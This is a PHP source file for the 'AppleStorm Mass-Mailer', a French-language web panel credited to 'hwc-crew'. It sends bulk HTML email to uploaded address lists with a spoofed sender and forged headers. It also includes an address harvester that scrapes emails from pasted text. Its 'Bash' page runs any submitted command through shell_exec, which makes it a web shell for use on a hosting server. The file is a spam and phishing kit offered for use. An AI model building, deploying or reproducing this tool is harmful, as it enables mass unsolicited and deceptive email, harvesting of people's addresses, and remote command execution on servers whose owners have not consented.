<?php 
/*-------------------------------------
      Mass Mailer Options :
 • Mailer :
 		- Affichage statistique
 		- Filtres smtp
 		- Gestion d'envois
 • Extracteur d'emails
 • Statistiques générales
 • Consoles bash
---------------------------------------
   MODIFIEZ IDENTIFIANT, MDP, & VOTRE MAIL */
$user = ""; $mdp = ""; $mail_user = "";
/* MODIFIEZ IDENTIFIANT, MDP, & VOTRE MAIL */

session_start(); 
set_time_limit (0); 
if(!file_exists('stats.txt')) {
	$fp = fopen('stats.txt', 'a+');
	fwrite($fp, ';;;;;');
	fclose($fp);
}
	if(isset($_GET['deco'])) { session_destroy(); }
	if(isset($_POST['id']) && isset($_POST['mdp'])) {
		if($user == $_POST['id'] && $mdp == $_POST['mdp']) {
			$_SESSION['connexion'] = True;
		}
	} 
	function random_str($nbr) {
	    $str = "";
	    $chaine = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
	    srand((double)microtime()*1000);
	
	    for($i=0; $i<$nbr; $i++) {
	        $str .= $chaine[rand()%strlen($chaine)];
	    }
	
	    return $str;
	}
?>
<!DOCTYPE html>
<html lang="fr">
    <head>
        <meta charset="utf-8" />
        <meta name="author" content="AppleStorm - Hwc-Crew" />


        <title>AppleStorm Mass-Mailer</title>
        <style type="text/css">
            body {margin:0;padding:0;}
            header {width:100%;height:50px;background-color:#34393E;color:#FCFAE1;}
            logo {margin-left:150px;padding-top:10px;color:white;font-size:25px;position:absolute;}
            nav ul {padding:0;margin-left:450px;list-style-type:none;position:absolute;}
            nav ul li {margin-left:12px;float:left;}
            nav ul li a {color:#8CC6D7;text-decoration:none;}
            nav ul li a:hover {color:#5F8CA3;text-decoration:underline;}
            #content {width:1024px;margin-left:auto;margin-right:auto;}
            #connexion {margin-top:150px;width:250px;height:100px;background-color:#8CC6D7;-webkit-border-radius: 10px;-moz-border-radius: 10px;border-radius: 10px;margin-left:auto;margin-right:auto;padding-top:25px;padding-left:25px;color:white;}
            #connexion input[type=text], input[type=password] {-webkit-border-radius: 10px;-moz-border-radius: 10px;border-radius: 10px;height:19px;padding-left:5px;border: 1px solid #fff;}
            #connexion input[type=submit] {margin-left:155px;margin-top:5px;}
            #options_mailer {margin-top:20px;height:100px;background-color:#D9EFF5;-webkit-border-top-left-radius: 50px;-webkit-border-bottom-right-radius: 50px;-moz-border-radius-topleft: 50px;-moz-border-radius-bottomright: 50px;border-top-left-radius: 50px;border-bottom-right-radius: 50px;padding-top:10px;padding-left:20px;font-size:10px;}
            #options_mailer label {text-decoration:underline;}
            #options_mailer ul {list-style-type:none;}
            #stat {width:200px;height:100px;margin-left:20px;position:absolute;}
            #filtres {width:200px;height:100px;margin-left:200px;position:absolute;}
            #envois {width:300px;height:100px;margin-left:400px;position:absolute;}
            #envois input {height:12px;margin-top:2px;font-size:9px;}
            #corp_mailer {margin-top:20px;}
            #import_mail {margin-left:650px;position:absolute;margin-top:-570px;}
            #import_mail ul {text-decoration:none;list-style-type:none;}
            #result_mail {margin-left:250px;font-size:13px;color:#8CC6D7;margin-top:50px;}
            #div_g {padding-top:20px;padding-left:20px;position:absolute;margin-top:20px;background-color:#ABC8E2;width:400px;height:400px;-webkit-border-top-left-radius: 20px;-webkit-border-bottom-right-radius: 20px;-moz-border-radius-topleft: 20px;-moz-border-radius-bottomright: 20px;border-top-left-radius: 20px;border-bottom-right-radius: 20px;}
            #div_d {padding-top:20px;padding-left:20px;color:white;position:absolute;margin-left:450px;margin-top:20px;background-color:#375D81;width:400px;height:400px;-webkit-border-top-right-radius: 20px;-webkit-border-bottom-left-radius: 20px;-moz-border-radius-topright: 20px;-moz-border-radius-bottomleft: 20px;border-top-right-radius: 20px;border-bottom-left-radius: 20px;}
            #stats_g {background-color:#A2B5BF;width:220px;height:90px;margin-top:20px;position:absolute;-webkit-border-radius: 20px;-moz-border-radius: 20px;border-radius: 20px;padding-top:50px;padding-left:60px;}
            #stats_d {background-color:#5F8CA3; width:450px;height:300px;margin-top:20px;position:absolute;-webkit-border-radius: 20px;-moz-border-radius: 20px;border-radius: 20px;margin-left:350px;padding-top:30px;padding-left:30px;color:white;}
            #bash { width:800px;height:500px;margin-top:20px;background-color:#34393E;border-radius:10px;margin-left:auto;margin-right:auto;text-align:center;padding-top:20px;}
		  #bash_in { width:760px;height:470px;background-color:white;margin-left:auto;margin-right:auto;border-radius:10px;font-family:"Trebuchet MS";font-color:black;font-size:10px;padding-top:15px;padding-left:15px;text-align:left;}
		  #bash_in textarea {border:0px;}
            footer {color:white;bottom:0;width:100%;height:100px;background-color:#34393E;position:absolute;text-align:center;}
            footer a {color:white;}
        </style>
        <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js"></script>
        <script type="text/javascript">
        	$(document).ready(function(){
        		$("#connexion").hide();
        		$("#connexion").fadeIn(3000);
        	});
        </script>
        
    </head>
    <body>
        <header>
            <nav>
                <logo>AppleStorm Mass Mailer</logo>
                <ul>
                    <li><a href="?cat=mailer">Mailer</a></li>
                    <li><a href="?cat=mailliste">MailListe</a></li>
                    <li><a href="?cat=stats">Stats</a></li>
                    <li><a href="?cat=bash">Bash</a></li>
                    <li><a href="?deco=1">Déconnexion</a></li>
                </ul>
            </nav>
        </header>
        <div id="content">
            <?php 
            
            if(!isset($_SESSION['connexion'])) { ?>
            	<div id="connexion">
            		<form method="POST" action="#">
            			<label>Identifiant</label> <input type="text" name="id" /><br/><br/>
            			<label>Password</label> <input type="password" name="mdp" /><br/><br/>
            			<input type="submit" value="connexion" />
            		</form>
            	</div>
           <?php }else{ /* Si mail + no submit form */
            	if(!isset($_GET['cat']) or $_GET['cat'] == 'mailer' && !isset($_POST['submit_mail'])) {
            		?>
            		<div id="options_mailer">
            			<form method="POST" action="?cat=mailer" enctype="multipart/form-data">
            				<div id="stat">
		            			<label title="Retourne les statistiques d'envois">Statistiques</label>
		            			<ul>
		            				<li><input type="checkbox" name="nbr_mail" checked/> <label title="Retourne le nombre de mail envoyés">Nbr envois</label></li>
		            				<li><input type="checkbox" name="verif" checked/><label title="Vous envois un mail à la fin de la procédure avec les statistiques">Vérification</label></li>
		            				<li><input type="checkbox" name="time" checked/> <label title="Retourne le temps passé à envoyer les mails">Timer</label></li>
		            			</ul>
	            			</div>
	            			<div id="filtres">
		            			<label title="Empêche l'envois aux smtp suivants">Filtres</label>
		            			<ul>
		            				<li><input type="checkbox" name="smtp_google" /><label>Gmail</label></li>
		            				<li><input type="checkbox" name="smtp_hotmail" /><label>Hotmail</label></li>
		            				<li><input type="checkbox" name="smtp_other" /><label title="caramail, yahoo, laposte...">Autres</label></li>
		            				<li><input type="checkbox" name="smtp_perso" /><label title="Adresses privés type @societe.com...">Perso</label></li>
		            			</ul>
	            			</div>
	            			<div id="envois">
	            				<label title="Paramètres d'envois des mails">Mails</label>
	            				<ul>
	            					<li><input class="" name="nbr_send" value="1" size="1"> <label>Nombre d'envois</label></li>
	            					<li><input name="sender" size="15" value="@"> <label>Mail expediteur</label></li>
	            					<li><input name="subject" size="" value=""> <label>Sujet</label></li>
	            				</ul>
	            			</div>
	            			
            			
            		</div>
            		<div id="corp_mailer">
						
							<textarea name="corp_mail" cols="128" rows="30"></textarea>
						
            		</div>
            		<div id="import_mail">
	            				<ul>
	            					<li><input type="file" name="txt_mail" /></li><br/><br/>
	            					<li><input type="submit" name="submit_mail" value="envoyer les mails" /></li>
	            				</ul>
	            				</form>
	            			</div>
            		<?php
            	} /* Si mail + submit du formulaire */
            	if(isset($_POST['submit_mail'])) {
            		?>
            		<div id="result_mail">
            		<?php
            		$dossier = '';
            		$fichier = basename($_FILES['txt_mail']['name']);
            		if(move_uploaded_file($_FILES['txt_mail']['tmp_name'], $dossier . $fichier)) {
            			echo '<img src="http://cdn1.iconfinder.com/data/icons/silk2/tick.png" /> Upload effectué avec succès !<br/>';
            			$data = file_get_contents($fichier);
            			echo '<img src="http://cdn1.iconfinder.com/data/icons/silk2/tick.png" /> Lecture du fichier effectué avec succès !<br/>';
            			$convert = explode(";", $data);
            			if(isset($_POST['smtp_google'])) { /* suppression des entrées gmail */
            				foreach($convert as $clef => $element) {
            					if(strpos($element,'@gmail')) {
            						unset($convert[$clef]);
            					}
            				}
            			}
            			if(isset($_POST['smtp_hotmail'])) { /* suppression des entrées hotmail */
            				foreach($convert as $clef => $element) {
            					if(strpos($element,'@hotmail') || strpos($element,'@live')) {
            						unset($convert[$clef]);
            					}
            				}
            			}
            			if(isset($_POST['smtp_other'])) { /* suppression des entrées other */
            				foreach($convert as $clef => $element) {
            					if(strpos($element,'@caramail') || strpos($element,'@yahoo') || strpos($element,'@laposte') || strpos($element,'@lycos') || strpos($element,'@orange') || strpos($element,'@sfr') || strpos($element,'@free') || strpos($element,'@noos') || strpos($element,'@numericable') || strpos($element,'@alice') || strpos($element,'@bbox')) {
            						unset($convert[$clef]);
            					}
            				}
            			}
            			if(isset($_POST['smtp_perso'])) { /* suppression des entrées perso */
            				foreach($convert as $clef => $element) {
            					if(!strpos($element,'@caramail') || !strpos($element,'@yahoo') || !strpos($element,'@laposte') || !strpos($element,'@lycos') || !strpos($element,'@orange') || !strpos($element,'@sfr') || !strpos($element,'@free') || !strpos($element,'@noos') || !strpos($element,'@numericable') || !strpos($element,'@alice') || !strpos($element,'@bbox') || !strpos($element,'@live') || !strpos($element,'@hotmail')  || !strpos($element,'@gmail')) {
            						unset($convert[$clef]);
            					}
            				}
            			}
            			echo '<img src="http://cdn1.iconfinder.com/data/icons/silk2/tick.png" /> Enregistrement & Tries effectués avec succès !<br/>';
            			$i = 0;
            			$i_send_mail = 0;
            			$str = random_str(11);
            			$sujet = $_POST['subject']."\r\n";
                     	$headers = 'From: <'.$_POST['sender'].'>' . "\r\n";
                     	$headers .= "X-Mailer: PHP ".phpversion()."\r\n";
                     	$headers .= "Reply-To:".$_POST['sender']."\r\n";
                     	$headers .= "X-Priority: 3 (Normal)n"."\r\n";
                     	$headers .= "Mime-Version: 1.0n"."\r\n";
                     	$headers .= "Content-Transfer-Encoding: 8bitn"."\r\n";
                     	$headers .= "Date:" . date("D, d M Y h:s:i") . " +0300n"."\r\n";
                     	$headers .= "X-Sender: <".$_SERVER['REMOTE_ADDR'].">"."\r\n";
					 	$headers .= "X-Mailer: PHP"."\r\n";
					 	$headers .= "X-auth-smtp-user: ".$_POST['sender']."\r\n";
					 	$headers .= "X-abuse-contact: ".$_POST['sender']."\r\n";
					 	$headers .= "Content-type: text/html; charsert=iso-8859-1"."\r\n";
					 	$headers .= "Message-Id: <".date("YmdsiH").".".$str."@".$_SERVER['REMOTE_ADDR'].">";
					 	$message = $_POST['corp_mail'];
					 	$temps_debut = microtime(true);
            			while($i != $_POST['nbr_send']) {
            				foreach($convert as $value) {
            					if(!empty($value)) {
            						if(mail($value, $sujet, $message, $headers)) {
                         				$i_send_mail++;
                     				}
            					}
            				}
            				$i++;
            			}
            			$temps_fin = microtime(true);
            			$time_end = round($temps_fin - $temps_debut, 4);
            			// ------ STATS PUT --------
            			if(file_exists('stats.txt')) {
            				$data = file_get_contents("stats.txt"); //lecture
							$convert = explode(";", $data); // chaque ;
							$convert[0] = $convert[0]+$i_send_mail; // NBR mail Send
							$convert[1] = $convert[1]+"1"; // NBR send mail
							$convert[2] = $convert[2]+$time_end; // NBR TIME send mail
							$convert[3] = $convert[3]; // NBR mail extract
							$convert[4] = $convert[4]; // NBR extract mail
							file_put_contents('stats.txt', $convert[0].';'.$convert[1].';'.$convert[2].';'.$convert[3].';'.$convert[4]);
							
            			}
            			if(isset($_POST['time'])) {
            				echo 'Temps d\'execution : '.$time_end.'<br/>';
            			}
            			if(isset($_POST['nbr_mail'])) {
            				echo 'Nombre de mails envoyés : '.$i_send_mail.'<br/>';
            			}
            			if(isset($_POST['verif'])) {
            				$message = 'Nombre de mail envoyés : '.$i_send_mail.'<br/> Temps d\'envois : '.$time_end.' sec';
            				mail($mail_user, 'Statistiques d\'envois de mails', $message, $headers);
            			}
            			
            		}else{ echo '<img src="http://cdn1.iconfinder.com/data/icons/lynx/16x16/actions/dialog-close.png" width="10"/> Echec de l\'upload !'; } ?>
            	</div> <!-- id="result_mail" -->
            	<?php
            	}/* ------------- DEBUT PAGE MailListe ------------- */
            	if(isset($_GET['cat']) && $_GET['cat'] == 'mailliste') {
            		?>
            		<div id="div_g">Extracteur d'emails<br/>
            			<form method="POST" action="mailer.php?cat=mailliste">
            				<textarea name="in_mail" cols="46" rows="22">Insérez des données</textarea><br/><br/>
            				<input type="submit" value="Extraire" />
            			</form>
            		</div>
            		<div id="div_d">Résultats<br/>
            			<textarea cols="46" rows="22">
            			<?php 
            			if(isset($_POST['in_mail'])) {
            				preg_match_all('`\w(?:[-_.]?\w)*@\w(?:[-_.]?\w)*\.(?:[a-z]{2,4})`', $_POST['in_mail'], $out, PREG_SET_ORDER);
            				$i_val=0;
            				$count=0;
            				$stat_exem = 0;
            				foreach($out as $val) {
            					echo $val[$i_val].';';
            					$count++;
            				}
	            			if(file_exists('stats.txt')) {
	            				$data = file_get_contents("stats.txt"); //lecture
								$convert = explode(";", $data); // chaque ;
								$convert[0] = $convert[0]; // NBR mail Send
								$convert[1] = $convert[1]; // NBR send mail
								$convert[2] = $convert[2]; // NBR TIME send mail
								$convert[3] = $convert[3] + $count; // NBR mail extract
								$convert[4] = $convert[4] + "1"; // NBR extract mail
								file_put_contents('stats.txt', $convert[0].';'.$convert[1].';'.$convert[2].';'.$convert[3].';'.$convert[4]);
								
	            			}
            			}
            			
            			
            			?>
            			
            			</textarea>
            			<?php if(isset($_POST['in_mail'])) { echo $count.' Mails trouvés ;)'; $stat_m_ex = $count;} ?>
            		</div>
            		<?php
            	} /*-------------- DEBUT PAGE STATS ----------------------- */
            	if(isset($_GET['cat']) && $_GET['cat'] == 'stats') {
            		if(file_exists('stats.txt')) {
            			$data = file_get_contents("stats.txt");//lecture
            			$convert = explode(";", $data);
            			?>
            			<div id="stats_g"><form method="POST" action="mailer.php?cat=stats"><input type="submit" name="erase_stat" value="Effacer toutes les données" /></form></div>
            			<div id="stats_d">
            				<?php echo 'Nombre de mails envoyés : <u>'.$convert[0].'</u> En <u>'.$convert[1].'</u> procédures.<br/><br/><br/>';
            				echo '<u>'.$convert[2].'</u> secondes de procédure.<br/><br/><br/>';
            				if($convert[1] != "") { $div_ms_sm = $convert[0]/$convert[1]; }else{ $div_ms_sm = "0"; }
            				echo 'Soit <u>'.$div_ms_sm.'</u> mails moyen par procédure.<br/><br/><br/>';
            				echo '<u>'.$convert[3].'</u> de mails extraits en <u>'.$convert[4].'</u> procédures<br/><br/><br/>';
            				if($convert[4] != "") { $div_me_em = $convert[3]/$convert[4]; }else{ $div_me_em = "0"; }
            				echo 'Soit <u>'.$div_me_em.'</u> extraits par procédures.';?>
            				
            				<?php if(isset($_POST['erase_stat'])) { file_put_contents('stats.txt', ';;;;;'); } ?>
            			</div>
            			<?php
            		}
            	} /*--------------- DEBUT PAGE BASH ------------------- */
            	if(isset($_GET['cat']) && $_GET['cat'] == 'bash') {
            		if(!empty($_POST['code_bash'])) { 
            			if(empty($_POST['code_bash_prev'])) { $_POST['code_bash_prev'] = ' '; }
						$output_exe_shell = '> '.shell_exec($_POST['code_bash']);
						$output_last_exe_shell = $_POST['code_bash_prev']."\n".$_POST['code_bash']."\n".$output_exe_shell;
					} ?>
					<div id="bash">
						<div id="bash_in">
							Login: <?php echo date(DATE_RFC822); ?> > on console <?php echo "hwc-crew 5#331 :~ "; ?><br/><br/>
							<form method="POST" action="?cat=bash&exe_bash">
							<?php if(isset($output_exe_shell)) { ?>
							<textarea cols="93" rows="10" name="code_bash_prev"><?php echo $output_last_exe_shell; ?></textarea><hr/><?php } ?>
							<textarea cols="93" <?php if(isset($output_exe_shell)) { ?> rows="18" <?php } else { ?> rows="30" <?php } ?> name="code_bash">#!/bin/bash</textarea>
							<input type="submit" value="execution du script"/>
							</form>
						</div>
					</div>
				<?php
            	}
            	
            } ?>
        </div>
        <footer>
            <br/><br/>Développé par AppleStorm pour <a href="http://hwc-crew.com">hwc-crew</a> {database}
        </footer>
    </body>
</html>